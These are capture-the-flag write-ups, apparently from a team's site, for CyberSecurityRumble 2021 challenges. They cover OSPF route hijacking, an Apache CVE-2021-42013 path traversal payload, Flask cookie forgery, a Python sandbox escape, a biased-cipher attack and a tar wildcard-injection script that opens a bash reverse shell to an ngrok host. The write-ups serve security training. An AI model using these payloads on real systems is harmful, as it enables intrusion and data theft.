      cost 1;
      hello 5;
};
interface "enp3s0" { # it dept - executive link
      type ptp;
      cost 8;
      hello 5;
};
```

Now, the "shortest path" goes through our attacker-controlled router!

To reload the configuration, we enter the BIRD CLI:

```
root@router-sales:~# birdc
BIRD 2.0.8 ready.
bird> configure
Reading configuration from /usr/local/etc/bird.conf
Reconfigured
bird> 
```

We should now be able to capture the traffic.

```
root@router-sales:~# tcpdump -i enp1s0 -XX
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
16:16:33.925661 IP 192.168.55.3.37434 > 172.16.0.2.8000: UDP, length 38
        0x0000:  0242 0a00 4a82 0242 0a00 4a83 0800 4500  .B..J..B..J...E.
        0x0010:  0042 168e 4000 3f11 815f c0a8 3703 ac10  .B..@.?.._..7...
        0x0020:  0002 923a 1f40 002e a3fd 4d65 7461 4354  ...:.@....MetaCT
        0x0030:  467b 6c30 306b 5f61 745f 6d33 5f31 6d5f  F{l00k_at_m3_1m_
        0x0040:  7468 335f 7230 7574 3372 5f6e 3077 7d0a  th3_r0ut3r_n0w}.
```


# CyberSecurityRumble CTF

CyberSecurityRumble 2021 was held from 27 November to 29 November and organized by RedRocket. We managed to get 16th place on the global leaderboard!

### Level 1

| Challenge                                                                    | Category          | Points |
| ---------------------------------------------------------------------------- | ----------------- | ------ |
| [Stonks Street Journal](/2021/cybersecurityrumble-ctf/stonks-street-journal) | Web, Exploitation | 100    |

### Level 2

| Challenge                                                                                                                                                              | Category          | Points   |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------- | -------- |
| [PayBack](/2021/cybersecurityrumble-ctf/payback)                                                                                                                       | Web, Cryptography | 200 + 80 |
| [Enterprice File Sharing](/2021/cybersecurityrumble-ctf/enterprice-file-sharing)                                                                                       | Web               | 150 + 87 |
| [Personal Encryptor with Nonbreakable Inforation-theoretic Security](/2021/cybersecurityrumble-ctf/personal-encryptor-with-nonbreakable-inforation-theoretic-security) | Cryptography      | 200 + 20 |

### Level 3

| Challenge                                                                        | Category                   | Points    |
| -------------------------------------------------------------------------------- | -------------------------- | --------- |
| [Finance Calculat0r 2021](/2021/cybersecurityrumble-ctf/finance-calculat0r-2021) | Exploitation, Cryptography | 200 + 80  |
| [Lukas App](/2021/cybersecurityrumble-ctf/lukas-app)                             | Web                        | 300 + 294 |


# Lukas App

## Description

> After the excellent success of the luca-app we now decided to build our own tracing apps. We still have some technical difficulties but you may still want to have a look: <https://lukas-app.de>. At least we managed to get the TLS certificates for all hosts!
>
> Hint 1: Read the challenge description carefully. There already is a big hint in it.
>
> Hint 2: There is only a tiny bit of guesswork involved, and it's not hard to find. A lot of teams already found it. Also again: Automated tooling like dirbuster or sqlmap will not help you with this challenge.
>
> Hint 3: We at Lukas App are proud to be running our software in the cloud. We don't even need to care about server updates or weird protocol headers anymore.

## Solution

The contents of <https://lukas-app.de> are not very interesting. It's only a static site, with a non-working captcha. The web challenges in this CTF don't involve any scanning and brute-forcing, so there's nothing else for us here.

![](/files/bjbK6a9kQjw5hEetLJ8J)

### Certificate Search

The description said "At least we managed to get the TLS certificates for all hosts!", and the hints point us in that direction, so I decided to do a `crt.sh` certificate search.

![](/files/KcrIOOyhQ35PTkcckfSL)

This indeed revealed two additional subdomains! `beta.lukas-app.de` is another web app. There's a login page, but not much else.

![](/files/xpC2sgknbAGuF33QLzgH)

I noticed that the logo here is fetched from `https://cdn.lukas-app.de/static/logo.png`. But when visiting this URL, we are actually redirected to another domain: `https://cdn-eu-west.lukas-app.de/static/logo.png`.

### Path Traversal

Looking at the response headers, I immediately noticed that we have hit the jackpot - this server, unlike the others, returned `Server: Apache/2.4.50 (Unix)`, which was vulnerable to a recent path traversal vulnerability (CVE-2021-42013)!

{% embed url="<https://www.exploit-db.com/exploits/50406>" %}

Using the usual payload (`.%%32%65`), however, gave us a 400 Bad Request. I think this was due to the server using both Nginx (which would have already performed one round of URL decoding) and Apache (which would then receive the URL-decoded path). To overcome this, I had to URL-encode the PoC payload again (a *triple* URL encoding by now!)

Now we get a different error (403 Forbidden) using `GET /cgi-bin/.../etc/passwd`.

I was stuck here for a while, until I came across some inspiration from [Twitter](https://twitter.com/__mn1__/status/1445655933242134530): instead of `/cgi-bin/` maybe the `/static/` path, where the logo is stored, is an `Alias` to some directory?

![](/files/MxN71iAWnlCIG75QdGlY)

I finally got a working path traversal: `GET /static/%25%2532%2565%25%2532%2565%2F%25%2532%2565%25%2532%2565%2Fetc/passwd HTTP/2`

I then read the Apache configuration file (at `/usr/local/apache2/conf/httpd.conf`), which confirmed my hypothesis. Interestingly, the `/static/` URL maps to `/app/static`. Could this be the same directory where the web app is stored?

```
...

Alias "/static" "/app/static"

...
```

Indeed, I was able to read the source code from `/app/app.py`.

```python
#!/usr/bin/env python3

from flask import Flask, session, redirect, url_for, escape, request, render_template
import werkzeug.exceptions
import crypt
import secrets

app = Flask(__name__)
app.secret_key = "secrets.token_bytes(50)"

FLAG = open("/flag.txt").read()

@app.route("/")
def index():
    if "username" not in session:
        return redirect("/login?msg=Login+required")

    if session["username"] == "root":
        return "Hello, %s!<br/>\nHave a nice flag: %s" % (session["username"], FLAG)
    else:
        return "Hello, %s!<br/>\nNo flags available for you."

@app.route("/robots.txt")
def robotstxt():
    return open("robots.txt").read()

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.tpl", msg=request.args.get("msg", ""))

    username = request.form["username"]
    password = request.form["password"]

    # use system logins during beta phase, needs to be moved to database for production use!
    users = dict(x.split(":")[:2] for x in open("/etc/shadow").readlines() if x.split(":")[1][0] != "!")
    if username not in users:
        return redirect("/login?msg=Invalid+credentials")
    if crypt.crypt(password, users[username]) != users[username]:
        return redirect("/login?msg=Invalid+credentials")

    session["username"] = username
    return redirect("/")

@app.errorhandler(werkzeug.exceptions.BadRequest)
def handle_bad_request(e):
    return "/app/app.py:app raised an exception:<br/>" + str(e), 400

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)
```

### Baking Cookies

The final nail in the coffin came from the following programming error in the secret key (it's a string):

```python
app.secret_key = "secrets.token_bytes(50)"
```

We simply need to change our session `username` to `root`, in order to get the flag.

```python
@app.route("/")
def index():
    if "username" not in session:
        return redirect("/login?msg=Login+required")

    if session["username"] == "root":
        return "Hello, %s!<br/>\nHave a nice flag: %s" % (session["username"], FLAG)
    else:
        return "Hello, %s!<br/>\nNo flags available for you."
```

Since the server uses client-side cookies, we can simply sign the Flask cookie with our desired username.

```
$ flask-unsign --sign --cookie "{'username': 'root'}" --secret "secrets.token_bytes(50)"
eyJ1c2VybmFtZSI6InJvb3QifQ.YaORNg.qF6ApxeBVfgNfKnMi5j6FegPqSM
```

Change the session cookie and get the flag!

```
Hello, root!
Have a nice flag: CSR{%79%6f%75%20%63%61%6e%27%74%20%65%73%63%61%70%65%20%74%68%65%20%64%6f%75%62%6c%65%20%64%6f%74%73}
```


# Finance Calculat0r 2021

## Description

> We launched a scriptable cloud calculat0r for all your financing needs!
>
> `nc challs.rumble.host 42323`
>
> Of course its Open Source

{% file src="/files/HdjqYeHXBqMg8Jvtxs1x" %}

## Solution

The program allows you to write a Python program to be executed. It checks the AST of the program and only the `print` function is allowed to be called.

```python
WHITELIST_NODES = [
    ast.Expression,
    ast.Expr,
    ast.Num,
    ast.Name,
    ast.Constant,
    ast.Load,
    ast.BinOp,
    ast.Add,
    ast.Sub,
    ast.Module,
    ast.Mult,
    ast.Div,
    ast.Assign,
    ast.Store
]

WHITELIST_FUNCTIONS = [
    "print"
]

...

def check_code_security(code):
    # Decode for parser
    s = code.decode(errors="ignore")
    tree = ast.parse(s, mode='exec')
    for node in ast.walk(tree):
        if type(node) not in WHITELIST_NODES:
            if type(node) == ast.Call and node.func.id not in WHITELIST_FUNCTIONS:
                raise ValueError("Forbidden code used in type '{}'. NOT allowed!".format(type(node)))
```

But note that module imports are allowed. We can simply import a function as `print` to bypass this filter.

```python
from os import system as print
print('/bin/sh')
```

After getting a shell, we can find the flag in `/opt/flag.txt`.

`CSR{OhManSandiNeinNeinDasMachtManNicht}`


# Personal Encryptor with Nonbreakable Inforation-theoretic Security

## Description

> The Personal Encryptor with Nonbreakable Information-theoretic Security seems rock solid.
>
> `nc challs.rumble.host 17171`
>
> The PoC's code is even available.

{% file src="/files/nAJwJhWLOmUdRk1My191" %}

## Solution

The encryption algorithm generates random bytes using `os.urandom()` and adds them to the position of the original character in the 63-character alphabet. Every 63 characters “wraps around” back to the original character.

```python
def keygen(length):
    key = ""
    rnd_bytes = os.urandom(length)
    for i in range(length):
        pos = rnd_bytes[i] % len(ALPHABET)
        key += ALPHABET[pos]
    return key
    
...

def encrypt(key, msg):
    assert len(key) == len(msg), "For Information-theoretic security the key needs to be as long as the msg."

    ciphertext = ""

    for i in range(len(msg)):
        msg_c = msg[i]
        key_c = key[i]

        if msg_c not in ALPHABET:
            ValueError(f"Can't encrypt char: {msg_c}")

        msg_pos_c = ALPHABET.index(msg_c)
        key_pos_c = ALPHABET.index(key_c)

        new_pos = (msg_pos_c + key_pos_c) % len(ALPHABET)
        ciphertext += ALPHABET[new_pos]

    return ciphertext
```

Notice that the bytes will range from 0 to 255, and given that each byte has an equal probability of being chosen, the original character, and the $$255\mod{63}=3$$ characters that follow, will have a slightly higher probability of ending up in the ciphertext.

We can obtain a maximum of 1000 ciphertexts, but we can simply reconnect any number of times to get more ciphertexts. If we do this enough times, we will naturally observe that at each position of the flag, the highest frequency character that appears in the ciphertext would be one of the 4 characters (original, and the 3 characters that follow) that have a higher probability of appearing in the ciphertext.

```python
inpt = int(input("How many ciphertexts would you like>"))
if 0 < inpt <= 1000:
    for _ in range(inpt):
        key = keygen(len(FLAG))
        print(encrypt(key, FLAG))
else:
    print("Please be reasonable.")
```

At this point, we would know what the flag roughly looks like. Since we are provided with the SHA256 hash of the flag, we can simply brute force the offsets to obtain the original flag.

```python
# Check that flag wasn't corrupted
assert hashlib.sha256(FLAG.encode()).hexdigest() == \
    "59f03b531db63fe65b7b8522badee65488d7a63fd97c3134766faf3d0fde427c", "Flag Corrupt!"
```

There is only a maximum of $$4^{13}$$ combinations to try (the first 4 characters `CSR{` are known, and the highest frequency character is at an offset of either +0, +1, +2 or +3 from the original message).

```python
from pwn import *

import itertools
import string
import hashlib

# cipher = (message from 63-character alphabet + 0 to 255 from os.urandom()) % 63
# Note that it takes 63 characters to "wrap around" back to the original character
# Since each number from 0 to 255 has an equal probability of being chosen,
# the original character, and the 255 % 63 = 3 characters that follow, have a slightly higher chance of being chosen.
ALPHABET = string.ascii_letters + "{}_!$&-%?()"

ciphers = []

for _ in range(20):
    conn = remote("challs.rumble.host" ,17171)
    print(conn.recvuntil(">"))
    conn.sendline("1000")

    for _ in range(1000):
        line = conn.recvline().decode()
        ciphers.append(line.strip())

    conn.recvline()

print(ciphers)

results = ""

for i in range(len(ciphers[0])):
    freq_dict = {alpha: 0 for alpha in ALPHABET}
    for cipher in ciphers:
        freq_dict[cipher[i]] += 1

    most_freq = max(freq_dict, key=freq_dict.get)
    results += most_freq

print(results)

# Starts with CSR{
possibilities_delta = itertools.product((i for i in range(-3, 1)), repeat=len(results) - 4)

i = 0
length = 4 ** (len(results) - 4)

for possibility in possibilities_delta:
    new_result = 'CSR{'

    j = 0
    for char in results[4:]:
        new_result += ALPHABET[(ALPHABET.index(char) + possibility[j]) % len(ALPHABET)]
        j += 1
    
    if hashlib.sha256(new_result.encode()).hexdigest() == "59f03b531db63fe65b7b8522badee65488d7a63fd97c3134766faf3d0fde427c":
        print(new_result)
        break

    i += 1

    if i % 100 == 0:
        print("Progress:", i / length, "Last tried:", new_result)
```

![](/files/76QXwZYrJ3TBSy6G0rJq)


# Enterprice File Sharing

## Description

> For security reasons we only use enterprice grade cloud storage.

{% file src="/files/X1g8NiGccJDdNzp5jojt" %}

## Solution

### Code Review

This, for the most part, seems like a standard file hosting site. Let's take a look at the validation.

First, uploaded files must have one of the allowed extensions.

```python
# We only allow files for serious business use-cases
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx'}


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
```

We also see that steps have been taken to normalize the file paths, to prevent directory traversal attacks using `../`.

```python
def normalize_file(filename):
    return filename.replace("..", "_")

...

@app.route('/upload', methods=["POST"])
def upload():
    if "ID" not in session:
        return redirect("/")

    if 'file' not in request.files:
        flash('No file part')
        return redirect("/")
    file = request.files['file']

    if file.filename == '':
        flash('No file selected')
        return redirect(request.url)

    if file and allowed_file(file.filename):
        f_content = file.stream.read()
        if len(f_content) > 1024:
            flash("Your file is too big! Buy premium to upload bigger files!")
            return redirect('/')
        filename = normalize_file(file.filename)
        with open(os.path.join(SESS_BASE_DIR, session["ID"], filename), "wb") as f:
            f.write(f_content)
            print(os.path.join(SESS_BASE_DIR, session["ID"], filename))
        return redirect("/")
    else:
        flash("Invalid file type submitted!")
        return redirect('/')

    return redirect("/")
```

What seems out of the ordinary, though, is the use of `os.system()` to execute a `tar` command when the user requests to download all uploaded files. Surely there's a library for that!

```python
@app.route('/download_all')
def download_all():
    if "ID" not in session:
        return redirect("/")

    sess_id = session["ID"]
    sess_dir = os.path.join(SESS_BASE_DIR, sess_id)

    res = os.system(f"cd {sess_dir} && tar czf /tmp/{sess_id}.tgz *")
    if res != 0:
        flash("Something went wrong.")
        return redirect("/")
    return send_file(f"/tmp/{sess_id}.tgz", attachment_filename=f"{sess_id}.tgz")
```

### Wildcard Injection

I decided to pay closer attention to the system command: `cd {sess_dir} && tar czf /tmp/{sess_id}.tgz *`.

A bit of research led me to a few very interesting papers, one of which was [this](https://www.exploit-db.com/papers/33930). Apparently, this is a class of Unix vulnerabilities where wildcards in commands can be abused to inject arguments!

For instance, if you have a file named `-rf`, and you execute `rm *`, the wildcard gets substituted with `-rf`, which is interpreted as a command line argument!

```
[root@defensecode public]# ls -al
total 20
drwxrwxr-x.  5 leon   leon   4096 Oct 28 17:04 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR1
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR2
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR3
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file1.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file2.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file3.txt
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf
[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:05 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf
```

Now, how can we abuse this in our use case? In `tar`, there is a `--checkpoint-action` option that will specify which program will be executed when a "checkpoint" is reached.

A common payload to exploit this would be two files:

* `--checkpoint-action=exec=sh shell.sh`
* `--checkpoint=1`

Now, the first file and the script are no problem - we can use `--checkpoint-action=exec=sh shell.txt` to perform argument pollution, which works because this ends with `.txt`.

We cannot use `checkpoint=1` , though, because this won’t pass the extension check.

Looking a bit more into the Tar manual, I saw that the default checkpoint number is 10, which means that the checkpoint action is performed every 10 records.

![](/files/GBaWsERqIUScb6QqsffQ)

But how big is each record? Apparently, it's 20 512-byte blocks.

![](/files/MNMdLZyCJqGDx9GVL0ti)

So if we upload enough bytes, our tar archive will eventually exceed 10 records \* 20 blocks \* 512 bytes = 102400 bytes. Once that happens, we would have 10 records within the tar archive and the checkpoint action will be executed.

```python
import requests
import os

s = requests.session()

s.get("http://efs.rumble.host/")

with open("shell.txt", 'w') as f:
    f.write("bash -c \"bash -i >& /dev/tcp/6.tcp.ngrok.io/12843 0>&1\"")

with open("--checkpoint-action=exec=sh shell.txt", "w") as f:
    f.write("")

s.post("http://efs.rumble.host/upload",
    files = {"file": open("shell.txt", 'rb')}
)

s.post("http://efs.rumble.host/upload",
    files = {"file": open("--checkpoint-action=exec=sh shell.txt", 'rb')}
)

# Default record size for tar = 512 bytes * 20 = 10240 bytes
# Default checkpoint is 10 records
curr_bytes = 0
filename = 'a'

while curr_bytes < 10240 * 10:

    with open(filename + ".txt", 'wb') as f:
        f.write(os.urandom(1024))

    r = s.post("http://efs.rumble.host/upload",
        files = {"file": open(filename + ".txt", 'rb')}
    )

    print("Uploaded", filename + ".txt")
    filename += 'a'
    
    os.system("tar czf test.tgz a*.txt")
    with open("test.tgz", 'rb') as f:
        curr_bytes = len(f.read())
        print(f"Currently at {curr_bytes} bytes")

s.get("http://efs.rumble.host/download_all")
print(s.cookies.get_dict())
```

Once we request `/download_all` and the `tar` command is run, we get a shell.

```
gunicorn@8d66a32a984a:/$ cat flag.txt
cat flag.txt
CSR{shellscanbeannoying_greetsfromabudhabikek}
gunicorn@8d66a32a984a:/$
```




---

[Next Page](/llms-full.txt/1)

